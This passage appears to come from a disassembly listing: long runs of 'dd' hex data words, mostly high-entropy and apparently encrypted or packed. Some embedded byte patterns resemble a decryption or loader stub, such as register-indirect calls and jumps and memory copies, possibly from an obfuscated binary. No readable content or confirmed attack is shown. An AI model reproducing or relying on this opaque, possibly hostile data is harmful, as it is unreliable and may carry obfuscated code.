4F1B7948h, 1C6BDCA9h, 5B63ACB6h, 3F4BB6h, 0C8040000h dd 7C9FF6A4h, 531C7265h, 0F8965EADh, 16458AE2h, 0DB4F223Ah dd 0D0763F9Dh, 7845AE81h, 4F1F3749h, 0C57FE5DBh, 0FC4135A5h dd 4F2183CDh, 5965CEDBh, 0A3B9h, 0C08CEA00h, 8DDC4D1Ah dd 8FDDF8C5h, 4FEC1B4Ah, 0EC55D138h, 53F9C11Fh, 0EE92C10Eh dd 43D501F1h, 0A8778BDAh, 0F1542C5Bh, 74DDD501h, 59FFC725h dd 0A0033F8Ch, 0D6E68361h, 5C02CE24h, 0A0CF1E8Fh, 0D50148D5h dd 0B5281C08h, 0B50247EDh, 146FA86h, 7FCE37D5h, 0A5C70E6Bh dd 0EEB51360h, 1DEA905Bh, 0C5F443ACh, 0CAD57A89h, 34925FC8h dd 680ED96Ch, 925CBAFFh, 0FAC11FECh, 0AD168754h, 8468895Eh dd 3735A0C0h, 22C894F2h, 709FE455h, 0CEAD1510h, 1C69B821h dd 814861EDh, 0CEBCF0C4h, 0FD5DB107h, 2E7884EDh, 4A8FDDF8h dd 2354331Bh, 0E8B51ED1h, 0D71CC28Ah, 0B908AE79h, 57FDC5A5h dd 15E5D612h, 0B5E98F5Ch, 165B6FB3h, 0FB0A99E7h, 0E02F98D4h dd 0D094DC0Bh, 6CDA1B22h, 973D05F8h, 50E3AB8Bh, 0A415E288h dd 43106E3Bh, 0CBAFD09Dh, 0F89E6699h, 0B1440CECh, 3E4575E6h dd 0FD44111Ah, 115E2B94h, 0A58A9ED5h, 0FA494AC1h, 3DCh dd 8C549200h, 3C09AF75h, 0A37016DEh, 6D37945h, 6E3BE1A8h dd 0D4A14710h, 3A07AD76h, 9C690FDCh, 1CE743Eh, 6532D8A3h dd 0E68956E8h, 4C681h, 0EE830000h, 24348704h, 243C895Ch dd 367B68h, 242C8900h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h dd 0BD241C89h, 3A5205C1h, 4504E5C1h, 0BF57D5F7h, 52FE453Bh dd 815FFD01h, 89DB76F5h, 4EC81ABh, 89000000h, 4832424h dd 525B0424h, 24048155h, 689809E0h, 0E0EA815Ah, 89689809h dd 0FF5A0853h, 815B2434h, 4C4h, 2434FF00h, 4C4835Dh, 0F94878E9h dd 681EDBFFh, 8BDB6B28h, 36CBB8B8h, 0C5030654h, 0D3BFE0FFh dd 45535CE2h, 491B4CF6h, 0AF057D8Eh, 654D4E2Eh, 0D3D3183Fh dd 4EB17EFh, 3A2F59C4h, 5CEE9h, 882EF400h, 2BD19C7Ch, 0CF753F1Fh dd 7016E3C3h, 15BB8464h, 0B0E10709h, 553541E7h, 0FCDCE88Eh dd 9E7E8A30h, 8D2430D6h, 0E9EF91C0h, 3742D4FAh, 0E84A86F7h dd 37AE573Ah, 27EF4D9Ch, 8D56B481h, 0B5BA8A1Ch, 0EDB82685h dd 6975DE47h, 4E1BC189h, 0B58228F0h, 19E68C57h, 7D4AF0BBh dd 0E3B0561Fh, 29AF95FBh, 0F4174DBBh, 0E341862Ch, 34A57218h dd 25F1D1E5h, 0A0ED3A7Fh, 4EA10F71h, 92B922DBh, 0DB4EA0EEh dd 7A45EBB8h, 0CEAEC211h, 428F5C02h, 25CB97F5h, 0C0C0E758h dd 8DB4EA0h, 0A51C9227h, 51BA858Dh, 37DDA402h, 993F0C6Ah dd 34A56ECCh dd 868120BEh, 925FC8B5h, 40B6AE1Ch, 0DE014327h, 80606C12h dd 164512B8h, 0DB4E2F5Dh, 0FCC96F39h, 6330D69Eh, 0A1570D73h dd 46B1B399h, 0B016B33Ch, 7544BAF6h, 0EFA5DB0Ah, 238CDB4Eh dd 0F2CB5CEFh, 713BA3h, 75790000h, 0B3A07ADh, 0DB4F2077h dd 0F3C0662Fh, 7138CB95h, 749562CBh, 161ED490h, 0B9C93430h dd 79B01642h, 59A84E1Bh, 1F1h, 0AA752F00h, 2087F928h, 41AADB4Fh dd 147D23EBh, 0D49CFA47h, 69D27841h, 7EDC2B9Ch, 0F3400DB3h dd 0A80A6AA6h, 0D7573739h, 4EC9D0B0h, 0A9F861DBh, 0BD87E4Bh dd 0CA3D2795h, 6D4D59FFh, 5CBAFFA5h, 0AB1CE98Fh, 75FE485Ch dd 0DB3906ACh, 0AD9D6A10h, 21EA1D47h, 53A06F7Bh, 4F205C24h dd 1D6CD5DBh, 0C51F7BFh, 0F241E7AEh, 4FF5BF1Dh, 0A4A00E82h dd 0AAD60552h, 87DB4F20h, 0C969CF1Eh, 0EEB01640h, 0A6h dd 552B5AA7h, 0DCDB4F2Ah, 81FF2E73h, 0B0DB4F2Ah, 7530F847h dd 0DB3906ACh, 289E6B11h, 0AB07BD9h, 3154FBBh, 55C2DC7h dd 4ECEAAD6h, 0EA1E87DBh, 7CCB0F3Fh, 6AAF551Eh, 4B9A400Ch dd 0EC1B6837h, 0DB4EA794h, 87E5349Dh, 0ED4B18BEh, 39AD7A20h dd 197799CBh, 4BF1BC4Fh, 0F0B715E2h, 2C92E14Ah, 0B016390Ah dd 6EB1h, 0AC75EF00h, 4574C106h, 0DB4F203Bh, 693E8DF6h dd 4FF5BE1Ch, 0B55B2482h, 0BF0E77E8h, 22EF9561h, 0C2251F0Bh dd 9EF188F9h, 0B52A996Eh, 22EF955Fh, 0A50348B1h, 17DF35DBh dd 0E433A471h, 0AA7586D0h, 0AEEA3704h, 0FF3583EEh, 91C00F61h dd 0DB4EF4E2h, 8B56E9B4h, 3EA718E5h, 0A2481371h, 92D2BED5h dd 0F66E545Ch, 166E7B0Bh, 1A0B0h, 86DE0000h, 0AAD95B28h dd 0DB4F20D6h, 3A89F25Bh, 9F6C12DCh, 8ED37941h, 0F0BD6330h dd 3A5B307Fh, 87F92875h, 0AADB4F20h, 56DC0D41h, 0D66D5863h dd 0C7291B87h, 0FF354B7Ah, 0A671DB4Eh, 98CC3500h, 4261B8BEh dd 0FF5DAC97h, 26838F35h, 4978BDAFh, 0D1374D2Eh, 5FBD8AF3h dd 4EACF197h, 9D0EDB81h, 925A3A4Eh, 43E9B210h, 105641Ch dd 0FB64CDD5h, 583FF2Eh, 9D6AD501h, 83D2783Fh, 0F2BA2D17h dd 9860404Ch, 824FADF2h, 4F9E0FDCh, 4CF2D7Ah, 3704AA71h dd 0B00E5DC6h, 493766E8h, 0E8D50105h, 5949167Fh, 44EAB412h dd 28DB89F5h, 0C6AEBA60h, 0B65859BCh, 1495Bh, 0DDF89900h dd 4444DFC4h, 0FC651BA5h, 0CD0388B7h, 0E54ED137h, 4CF2BA18h dd 0F2986040h, 0E2884FADh, 8055A415h, 0E7B45A22h, 30D391F7h dd 417DC268h, 9BFD460h, 260C7ABCh, 6A150A3Eh, 14BA83D9h dd 0B9C9B1C5h, 5EB65B5Eh, 3Dh, 48EEB917h, 0E2F831F9h, 3A16458Ah dd 17DB4F22h, 0CEB2E1AEh, 0D8DB4F1Fh, 3C9A670Dh, 0EA01CE74h dd 0B09046FEh, 706A1A4Ah, 0C888B7FCh, 89DB4F21h, 0E7451420h dd 0A28771Dh, 0C2h, 8FDDF8C0h, 4FEC1B4Ah, 1055D138h, 1F19FE1h dd 0C02992D5h, 5ED3F7Bh, 19683556h, 0CF97F5CAh, 0F04E1D29h dd 42B38026h, 5CCD95F3h, 94F36A50h, 8451BA23h, 6C12D937h dd 0BE87EE1Dh, 8956D501h, 0EFBC622Bh, 81C32F7Eh, 97E6226Fh dd 0FDC2C8BEh, 981F6188h, 0A912D501h, 0A134FC5Ah, 592756D8h dd 0D8D50197h, 919D066Fh, 86CBA134h, 0D5D09757h, 44117ACAh dd 33781EE6h, 60C9B7E6h, 0FF68CEADh, 0B17DDBB0h, 48B1571Eh dd 0AC521D7Bh, 0D391F7DFh, 0F23F041Dh, 0FA21C794h, 0CEAD6086h dd 9466AB42h, 8C573FF7h, 0FC68D423h, 0DE23498Ch, 82113FAFh dd 0B27CD2C4h, 0C897A30Ch, 0A1344C7Bh, 94FDC859h, 28867D45h dd 78E9B65Ch, 0E5874E29h, 597D71A0h, 2B94D123h, 0E8B3115Eh dd 0B5047542h, 0DDE98F57h, 3FE5B00Eh, 37CA92F0h, 925FC86Eh dd 774F4B63h, 8FB52319h, 8FF1206Dh, 0A2987F85h, 0EDB814Ch dd 87E5349Dh, 2D0D19BFh, 6006D265h, 0A1DD2AF7h, 6AE55A3Eh dd 0A7D90844h, 8A987FBEh, 0B69B821h, 5EE0AB3Eh, 7FBE512Fh dd 0E77E098h, 0D3B7D8A5h, 0A66E91h, 0FFC725F4h, 0E4AC0A59h dd 0F53713Eh, 9000000h, 0DDA90754h, 0EE520337h, 4F0AFFCDh dd 0AF753800h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h dd 2244h, 51243489h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 668242Ch, 8900002Eh, 0BA522404h, 5795AFFh, 40EDB951h dd 0CA291A91h, 47E28159h, 8132DD5Ch, 7223FC2h, 3EF28150h dd 89749B0Dh, 0EC815AD5h, 4, 81242489h, 42404h, 68580000h dd 6672h, 8F242C89h, 48B0840h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 242C8B5Ch, 81E38953h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0FFF94285h, 0A3D09778h, 0A17E19B5h, 0BFBC0B4Eh dd 0B8BF8E74h, 6543CADh, 0E0FFC503h, 64582798h, 61B7D0D1h dd 5E5B9F93h, 26BFB0A2h, 233EDA05h, 2C9A062Eh, 2306989Bh dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0D5B58B00h, 83064D0Bh dd 850F00FEh, 22h, 26E585C6h, 6845064Dh, 8E726969h, 1431B5FFh dd 858D064Dh, 65075D7h, 8589D0FFh, 64D231Dh, 3E80F08Bh dd 31850FE9h, 8D000000h, 526EC685h, 8BD0FF06h, 4D0B1DBDh dd 84C78106h, 8B000011h, 4D0BD5B5h, 0B9F78706h, 8, 0B58BA4F3h dd 64D0BD5h, 0A852858Dh, 0D0FF0650h, 2FDB58Bh, 0FE83064Dh dd 22850F00h, 0C6000000h, 4D26E585h, 0F4685406h, 0FFFF4EBEh dd 4D1431B5h, 0D7858D06h, 0FF065075h, 0FD8589D0h, 8B064D02h dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 64D02FDh, 6EC6858Dh dd 0D0FF0652h, 0B1DBD8Bh, 0C781064Dh, 1184h, 8B08C783h dd 4D02FDB5h, 0B9F78706h, 8, 0B58BA4F3h, 64D02FDh, 0A852858Dh dd 0D0FF0650h, 858DC361h, 6543D77h, 0DBD8589h, 8D8D064Dh dd 6543F72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0BC35545h, 21958589h, 8D89064Dh, 64D0599h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 98C35141h, 0E40B160Bh dd 0C35D777Fh, 0A881BE66h, 51D85C7h, 713C064Dh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 66E0DEC3h, 0AE388E3h, 0C7F8AE4Fh, 4D02E985h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8F3DE6F4h, 0F688D30h, 28Dh, 89D18B00h, 4D123DB5h, 71B5FF06h dd 60064D31h, 7298D89h, 0DF8B064Dh, 5595FF61h, 6A064D2Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6488C351h, 3580728h, 4D0029BDh, 0FF006A06h dd 4D051195h, 0EBC08B06h, 0EA2E521Dh, 5B9946h, 0F0C91B17h dd 0B6F82430h, 7AD692D4h, 0EE65CF09h, 5F469801h, 4EB39F4h dd 62756510h, 0D7CE9h, 41C26800h, 1AE90654h, 68FFF940h dd 65442E5h, 0F94010E9h, 450168FFh, 6E90654h, 68FFF940h dd 654460Bh, 0F93FFCE9h, 490F68FFh, 0F2E90654h, 68FFF93Fh dd 6544A4Bh, 0F93FE8E9h, 4B6C68FFh, 0DEE90654h, 5AFFF93Fh dd 2E2EE94h, 0A5859137h, 492935DBh, 0EACAD67Ch, 6D6F7B21h dd 0A74D167Bh, 4EF4BB9Bh, 0F0966242h, 963C04E4h, 0F726F38Ah dd 0D4FAE189h, 7AD89DA8h, 0F5BD0CB2h, 3A07AD75h, 0B98114DCh dd 765AA13h, 8BC7943Ah, 5D7445EBh dd 3584ED67h, 0B4360260h, 4EF7FB85h, 13E036DBh, 0C62FA06Dh dd 6832905Dh, 8F03B4F7h, 52BBB96Fh, 0B55B2785h, 0AA9A00E8h dd 3D270B24h, 59102CAh, 8B31F8AFh, 0F4194DBEh, 0E1ED56F0h dd 58B63801h, 0BDC3EA90h, 0E9DB4E6Bh, 7CB07B21h, 8155FCEAh dd 97006994h, 61E3AB8Bh, 49BE514h, 2D96DB4Fh, 4F047A06h dd 0E54EB7DBh, 4F7ECB18h, 0DB4F0431h, 3DE3AA00h, 4096FF70h dd 9203D076h, 771DE543h, 0A5C70E6Bh, 9CE41360h, 95DB4F03h dd 0CD733Fh, 8AD7268Fh, 3820705Bh, 312B67D1h, 2563F27Fh dd 5D2AD09Ah, 613483ECh, 78FC2BF8h, 8D501B5h, 172FAA9Ah dd 0C4B65B55h, 53h, 8FDDF802h, 20681B4Ah, 70D9D138h, 0D1AFDE2Bh dd 60D50220h, 86D3A8F7h, 20760A39h, 52BBD502h, 20A0D403h dd 91E0D502h, 206B1544h, 723BD502h, 0DFAB01CCh, 92FB6C39h dd 20621E4Dh, 66CFD502h, 3EB9AB17h, 0B65B4224h, 0CED3h dd 642E8C00h, 75A76FBEh, 0DC3A07ADh, 53A06D13h, 0B8EDA717h dd 0C6152DF5h, 0B5FAA068h, 0B4E88E57h, 5B31C7EEh, 0CFA4F317h dd 4A16A971h, 0FD66D7A4h, 8E1540F1h, 7941DB4Eh, 0ABF8C7D3h dd 4E85047Ch, 75C42DDBh, 0DCA94F17h, 0C066318Fh, 2D3F9671h dd 0AB36B9E8h, 72DBD137h, 0B3CC0966h, 95DA43E9h, 0F2172966h dd 8650AECAh, 55BE91E0h, 56E9B210h, 3B80E98Fh, 0CB9458FFh dd 5EAD0561h, 0FBA16A4Ah, 782361E3h, 58764B98h, 0A9Ah dd 0BFCB7137h, 626E14DFh, 612B882h, 0A7B35926h, 4C58FEC7h dd 28F1A64Ah, 0CF967682h, 713D1D29h, 17DFBFCBh, 1CE6571h dd 0FADFAED2h, 387883D4h, 0B55B2886h, 993F0866h, 3FE5AD8Dh dd 2FD59CFAh, 0F882CCE0h, 0FD4A8FDDh, 6330D69Fh, 0C5923805h dd 6D9CEB54h, 0D1382116h, 1F7DC22Bh, 8D62B157h, 58450440h dd 24580A3Ah, 0EAD0B0DFh, 0F861D501h, 0EAFA7AA9h, 1886D501h dd 7491B12Ch, 0E946B65Bh, 84000000h, 0C207AD75h, 0BDF19764h dd 9A84D39Fh, 2C0150F2h, 1A5F05CEh, 824FF5BCh, 0BEEDC211h dd 0DB4E8A97h, 2C5483D0h, 5DB4E81h, 0D379469Ch, 0B85E2684h dd 0B47FDDACh, 4E05410Eh, 0C9573556h, 0E13F8EF7h, 59A67319h dd 16B00B1Dh, 65D6A349h, 80BF6E31h, 59740C3Bh, 54BDDB4Eh dd 0C1AB2A05h, 7FA24D7Ch, 66FD137h, 0F59B63C1h, 87C392A6h dd 0D587759Ch, 0EFCA1988h, 2AD099E6h, 334D7CC1h, 0FECAF2B5h dd 29F25095h, 0C2F13E83h, 0CEB24DBEh, 0A7BB0A73h, 4058FEC7h dd 987972F2h, 77ABC99Eh, 5A000009h, 2E2EE94h, 0A5859137h dd 492935DBh, 0EACAD67Ch, 6D6F7B21h, 0A74D167Bh, 4EF4BB9Bh dd 0F0966242h, 963C04E4h, 0F726F38Ah, 0D4FADE89h, 755D9DA8h dd 85C106ACh, 614CBBD7h, 465AA902h, 162D9E66h, 0A3444D28h dd 47919D06h, 13DB3986h, 203A466Dh, 8EF7DB4Fh, 7319E13Fh dd 5E04D02Eh, 0FCD12091h, 0EB30D69Eh, 21116F9Eh, 0B720DB4Fh dd 0D1A35468h, 0C5DB4F20h, 6B4B57FDh, 5AB8FDA3h, 0C99EED93h dd 80002F7Ch, 0B1DB4F20h, 6CF31448h, 3FA5EF90h, 24CA92F0h dd 10B681DFh, 0AE83D243h, 0F9EC58BEh, 0B07F8B31h, 17E48A52h dd 51F157A6h, 86B016A0h, 0EAh, 602886C4h, 20D1AFDEh, 0F760DB4Fh dd 71643F8Eh, 0B69B6FBh, 95D19E44h, 0E2D3984Ch, 90DF48D0h dd 3764FA61h, 0C18EF7D1h, 11FE292h, 34309ED5h, 16BC84E2h dd 2389D849h, 0B6583F03h, 0A9B8h, 4C137100h, 1968D9A6h dd 20CFA451h, 8B4ADB4Fh, 0E95F5A16h, 127B6A73h, 2A19ECDh dd 0DA16D138h, 7F361D0Dh, 53B9E067h, 0DAEFFD31h, 4B6C1443h dd 5CC5D501h, 9DD1A4F3h, 39A2767Dh, 58FEC8F1h, 48B11A8Bh dd 22935C3Ch, 0A84AD719h, 400C6274h, 0F35CCD9Ah, 0A19DD926h dd 5626BE39h, 6BC0C3FDh, 610ACD37h, 0CE9E3712h, 0A6B15A89h dd 0EA26CAEAh, 33004061h, 0E74B598Dh, 3C8154A3h, 0B457730Dh dd 0EC55BECEh, 0D77D49A7h, 364A990Ah, 2CF78A56h, 5926CC99h dd 49167FE8h, 0C005676Eh, 9D894E91h, 2E3AA3C4h, 4BC8Eh dd 0DDF84400h, 0D01B4A8Fh, 41D13842h, 98DC0BD8h, 0E8D501FEh dd 770FCA7Ah, 0A4B65B1Ch, 49Dh, 0C9A6F2E2h, 3A9730Ch, 30F7559Ah dd 0BFEE3B8Ah, 0D13847A0h, 45A3E851h, 9A0BD87Eh, 83D2FB4Bh dd 56AC632Ah, 79A8ED7Fh, 2125D5A2h, 0CC19E64Fh, 3300A66Eh dd 3D9873C2h, 3F9DEA2Fh, 0A604D177h, 7BCA33D9h, 0DD33814Ch dd 2267D01Ah, 4A56FCC4h, 0E4FCA26Ah, 284A789Ch, 5B456338h dd 76000007h, 1EFE0AB0h, 0C1A1AD53h, 654551F7h, 6E6F298h dd 898B973Dh, 0C3693267h, 6A10D7B7h, 0CB27E5Eh, 0B2582000h dd 13420FA6h, 0D4FADB6Dh, 7579B9C4h, 75C207ADh, 4F203A46h dd 3F8EF7DBh, 26468F6Ah, 4D41B2E1h, 2A66D138h, 0C38D6E70h dd 0AE50E91Dh, 4FB88BDAh, 3AE0AC0Ah, 25CB97F5h, 8498E758h dd 0E58B57B5h, 410F71A0h, 0B922D501h, 9A400C6Ah, 40E29ECDh dd 81F3D501h, 98D50150h, 0BBEA2F3Dh, 0CAEA52E4h, 1FE84693h dd 0E2E5279h, 0AD78CEB4h, 0FEC93A07h, 0A734695h, 0D660E3Dh dd 0AC1ACEB4h, 51253DB8h, 8FEDBC8Dh, 0C56B33C6h, 0CF1E8F5Ch dd 3167h, 0DDF8A500h, 24EC4A8Fh, 0F140B17Eh, 515A75A4h dd 8EF7D138h, 8E21EB49h, 0E7B41DC3h, 34522776h, 1Bh, 0AB3E0765h dd 0FA6B38DEh, 0CE743B91h, 0DDF8B77Fh, 681B4A8Fh, 0D9D1384Ah dd 86DBA370h, 0E8B55B28h, 2CA2877h, 0A1E2445Ch, 0B98E94E5h dd 6519Bh, 14BA8000h, 0B75D2808h, 5B01CBABh, 0FCA26F4Fh dd 0A14710F0h, 3C1D9395h, 0E1C1CD73h, 8868741Ah, 2A0A16BCh dd 19B0BC62h, 0DA631D4Ch, 0C3CED4FAh, 8FDDF883h, 0D89FFD4Ah dd 7B4E332h, 0B0D13851h, 15E28852h, 136970A4h, 0C0082EB6h dd 81489E71h, 0E3B00EDBh, 9E6BD43Dh, 0C6D27840h, 28CE99F7h dd 0B449AAD9h, 0AD029ECh, 0DCF95662h, 671C4B90h, 0DAA39F68h dd 7B46A471h, 696CC9D5h, 1488F827h, 40A9A769h, 693492D7h dd 3685F6C3h, 36E5BAE9h, 0A30C9D52h, 0F2CDA7D6h, 45B3A11Bh dd 1042E41Fh, 0E798A25h, 0B7000001h, 0D8A2DDF8h, 20592756h dd 6FD8DB4Fh, 83C83906h, 4F212C54h, 339C05DBh, 50FCBFEEh dd 0F035D138h, 1F0BFC1h, 791FE7D5h, 7703BACh, 0AB73D19Eh dd 5119F905h, 44AFDEABh, 3A29ED2Ch, 9D6598CCh, 430BEBF7h dd 52A1D09Dh, 4402A1F2h, 0AB09D67Ch, 0F96F3CE2h, 0FA13D98Bh dd 6ECC2E16h, 51AFFEA4h, 74B31889h, 5C1D8ED0h, 3F07E7F3h dd 0E6F1CC99h, 0E124186h, 0E3866B9Ah, 0C4116E7Ah, 0DF48EEBBh dd 0D1004D9Ah, 866B98AFh, 0BE642C82h, 0C81780F1h, 54B59A99h dd 0E3AF0D7Ch, 0B0FF703Dh, 49A774DDh, 0EFCFDB81h, 85B48127h dd 801E7F93h, 0B5281C00h, 8A3B47EDh, 0EBF2B714h, 0E1B02763h dd 2DEFF473h, 756BF65h, 0BAC6AE2Ch, 9F6C12DAh, 0B30A4070h dd 0D97F4681h, 3BE1AE0Ch, 2420866Eh, 92D240AEh, 0AF552280h dd 943A0260h, 4DE0A888h, 9C0DDA80h, 4A8B6633h, 5490DD22h dd 82D004B3h, 4A79C851h, 7B6BEB99h, 53F3FF68h, 5Ch, 0A398609h dd 0DB4F2076h, 280352BBh, 4B7ABFADh, 0D1385084h, 399764CDh dd 0EDBCC86Eh, 0F10F71A0h, 0B922D501h, 83AF2E6Ah, 216606D1h dd 0F6DBA5D4h, 0ED56D501h, 0B704519Eh, 1F6F888h, 9CD039D5h dd 87AACA95h, 53483F3h, 0D5016383h, 751BE644h, 573EE841h dd 0A2F1F61Dh, 0E5A566CFh, 0C207AD75h, 1C372386h, 79C8EC62h dd 9FCD0865h, 0AD342B5Ah dd 0E543D137h, 35A67319h, 65AA13E6h, 89953B07h, 6A37DDA9h dd 71F3BF1Dh, 14F3E42h, 218AF3D5h, 0B994E354h, 0F197631Ch dd 5C0FE824h, 0A54A4554h, 308ED33Ch, 0C8B8E769h, 69D501BAh dd 59CA9700h, 658EBD0Ah, 42CAEAE7h, 0A7741AE4h, 0AB14E736h dd 9FC5AFDEh, 8154CEB4h, 2877A6EBh, 4FC49DA2h, 0B68329F1h dd 0DE23F645h, 0E70EB480h, 0C8675E99h, 0F9C62F98h, 0E1874EACh dd 5F116392h, 16FC867h, 808E9843h, 2B2DA2F1h, 6B000000h dd 4A8FDDF8h, 64A0FD0Eh, 76C2F69Ch, 1C69B82Fh, 37D1E2EDh dd 39066FD1h, 2FC28EECh, 7EEFBC62h, 88D74815h, 1D6Ah, 39862000h dd 4F20760Ah, 0C36930DBh, 51BA85F6h, 0BEAE2702h, 4A394A79h dd 9F08D138h, 0AD750AD2h, 0A1BDEF07h, 5A2F94E5h, 34D3Ch dd 18BE8400h, 0BB612C0Ch, 5F05CFAFh, 0A67353h, 0A54B14F4h dd 40119799h, 0E5C5D177h, 8C6C781Eh, 2E0E1AC0h, 1DB4C066h dd 0D75F2150h, 0C7D2D4FAh, 7AD7587h, 0ABB1ED3Ah, 12AB78E3h dd 0CE96F443h, 0B985E328h, 86D54613h, 0BFC01572h, 3F4170F2h dd 0F2DB4E85h, 0E2532089h, 0C6053479h, 8BD137A1h, 4E265522h dd 32D50169h, 106E80C4h, 62D3A046h, 8995AD13h, 2542B65Bh dd 80000000h, 4A8FDDF8h, 2DD39FFDh, 20D4AFDEh, 46DD138h dd 206C0837h, 0A614D502h, 422343BEh, 0D7D8B65Bh, 16000000h dd 0FC2BAD75h, 0DB4F2084h, 0E98F57ADh, 96D21780h, 31EA6959h dd 996EBD8Bh, 0FFCC723Bh, 0EE33D9A1h, 260E72A1h, 0BA23DB4Eh dd 253A4675h, 8EF7DB4Eh, 440C6A3Fh, 0DB44EAB1h, 0C56B3896h dd 0A4B16276h, 0C3DB4E2Ah, 0ADF29865h, 4E21027Eh, 77C62FDBh dd 9FAB5119h, 8451F7BFh, 670DD937h, 0D4983D18h, 533F608Fh dd 5CB2D137h, 7884ED93h, 77E7BA1Bh, 1868979Ch, 19D5002Fh dd 0D2B07CB0h, 81B0F55Eh, 0CAF11E77h, 9EFC41AAh, 43232FD5h dd 761CE77Ah, 0D381F50Dh, 562B987Bh, 21138h, 54FAC000h dd 0F79D6848h, 9B410BEBh, 3CE2AF8Fh, 0E1875030h, 7CDDD3D5h dd 21010DB3h, 0C8A8B45Ah, 6A4A56FCh, 59F0FCA2h, 0D7235D8Ch dd 30ED4FAh, 6AC75C3h, 0AC521AFAh, 0DDF856A0h, 0FE32D8A2h dd 0AEB3194h, 72B7208Dh, 57FDC725h, 9BCA198Ah, 0D13727E8h dd 14BA81DFh, 0B487D647h, 8AB9064Bh, 0D50127F6h, 751BE53Bh dd 0B9E8BD0Ch, 0D50127BBh, 0BED57C5h, 27F18FBEh, 0D740D501h dd 0BB002288h, 74D2B65Bh, 8AF625A7h, 0A7D50133h, 0BB08D53Eh dd 133F48Ch, 6BD43DD5h, 0E1B41Ch, 75F20000h, 0CB4D1AADh dd 4F20E49Ch, 7BE44DDBh, 0DF8550AEh, 0CF38A112h, 35DBA402h dd 251C3968h, 723ADB4Fh, 21894201h, 4F511F32h, 0E04D408h dd 0C1881EAh, 0F1BE642Ch, 68ADBF16h, 37D26639h, 95C411D1h dd 0D5016EEBh, 0BD87DD46h, 8CF5C817h, 0BAB22380h, 23D14675h dd 3896CAF2h, 0A679C86Eh, 89FEBA72h, 3D28FF3Bh, 0F99CD19h dd 0DDA9FF07h, 2B89CE37h, 0D0B0BC62h, 0CF496107h, 75987806h dd 0F082A0h, 1BE10000h, 0BE896975h, 622C0C18h, 3D0B0BCh dd 0A871515Dh, 0FCF4F602h, 202CD29Bh, 0C7D37940h, 69751BE7h dd 0F1BC189h, 47CAB78h, 2DD4FAD6h, 0AC75E222h, 0DE2BFA06h dd 4F20D1AFh, 430A60DBh, 0F65FD09Dh, 0FF8149A7h, 612ED4A1h dd 20B7C9F0h, 357ADB4Fh, 4F207A06h, 0E54EB7DBh, 8626707Ch dd 69B85E28h, 589D430Bh, 0D29F32FAh, 9F74C32Ch, 8ED37941h dd 4961C952h, 4EFC661Ah, 2E62CBDBh, 0A0EF895Bh, 0D9A62F8Ch dd 0BAFF680Eh, 235C838Bh, 9865CED1h, 0C0CC723Ah, 0A57218E0h dd 18067276h, 3F9DEC71h, 9001CE74h, 7C6FD541h, 22020EB4h dd 9AE7B45Ah, 7DCC723Ch, 0DFAC521Fh, 332B481h, 70D9B47Dh dd 15E24BB4h, 7946ECB7h, 0FAF07458h, 0A447FDE1h, 552B5ADCh dd 0DC70D9B4h, 0A8427BA8h, 8EF7F9F7h, 71391925h, 3E0FECBh dd 96000000h, 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh dd 52E86532h, 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h dd 53D46824h, 14890000h, 0E3895324h, 4C381h, 0EB830000h dd 241C8704h, 242C895Ch, 730968h, 242C8900h, 0AC186D68h dd 0F5815D18h, 36B62079h, 0ED81E5D1h, 55E03043h, 685DEA89h dd 30FCh, 81242489h, 42404h, 815D0000h, 4ECh, 24148900h dd 8B08458Fh, 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h dd 148B5C24h, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 32ABE95Ch, 0B3E7FFF9h, 4C81B8E4h, 0C5030654h, 0DC8EE0FFh dd 0BF9C7D0Bh, 0D15C1C9Dh, 2EE3700Ah, 7C7E6921h, 0B84B2AB0h dd 4F750FA2h, 90E83516h, 0E9187D54h, 0A425374Ah, 0F078158Dh dd 0BE1F5767h, 281E6D46h, 0D7043B43h, 8E4B0665h, 112B51FDh dd 0ED370F6Bh, 0AED047E4h, 2A837D58h, 8A68036Fh, 66175743h dd 0ADB347BAh, 4EB54FAh, 0F1BB412h, 4E6E9h, 9036FC00h dd 33D9A484h, 0D77D4727h, 781EEBCBh, 1DC38C6Ch, 0B8990F11h dd 5D3D49EFh, 4E4F096h, 0A6869238h, 952C38DEh, 0D3E799C8h dd 3F4AD4FAh, 7AD75FFh, 6D13DC3Ah, 13B98161h, 2A870CEh dd 0EB3AE0ACh, 4AF0B816h, 0EDF4307Dh, 91B632AFh, 0E0AB0958h dd 4AA8F53Ah, 9C0DDA80h, 4E2D0B75h, 6EBD26DBh, 8FB52399h dd 0E2EE945Ch, 9DC53602h, 62882B1h, 0F83479E2h, 8A52350Fh dd 72A617E4h, 0CF1EC20Ch, 690FDBBBh, 0D1773E9Ch, 45FFE304h dd 7565D6A2h, 0DFE3AAC4h, 12F2FE67h, 0A8D7A44Ah, 0DB4E79CBh dd 0A7055219h, 0F76835DBh, 4E79B0D0h, 0C91881DBh, 6AFCE75Dh dd 0ACB016E5h, 12DF854Eh, 44EA52A1h, 28000000h, 0C207AD75h dd 2AF79D64h, 0F29863B9h, 9065B425h, 4F212161h, 77EDD3DBh dd 1642FA8Ch, 121B0h, 755F0000h, 0D93704AAh, 0AB07B0Eh dd 9663CC3Dh, 0BD86B38h, 0B92FFC65h, 1BE6194Bh, 0C1896975h dd 75C50F1Bh, 85FB2AACh, 0ACDB4F20h, 3795DA43h, 0A479C86Eh dd 8D57B46h, 0A673D118h, 73C23300h, 0E1AA5D07h, 2602F3Bh dd 37DDA437h, 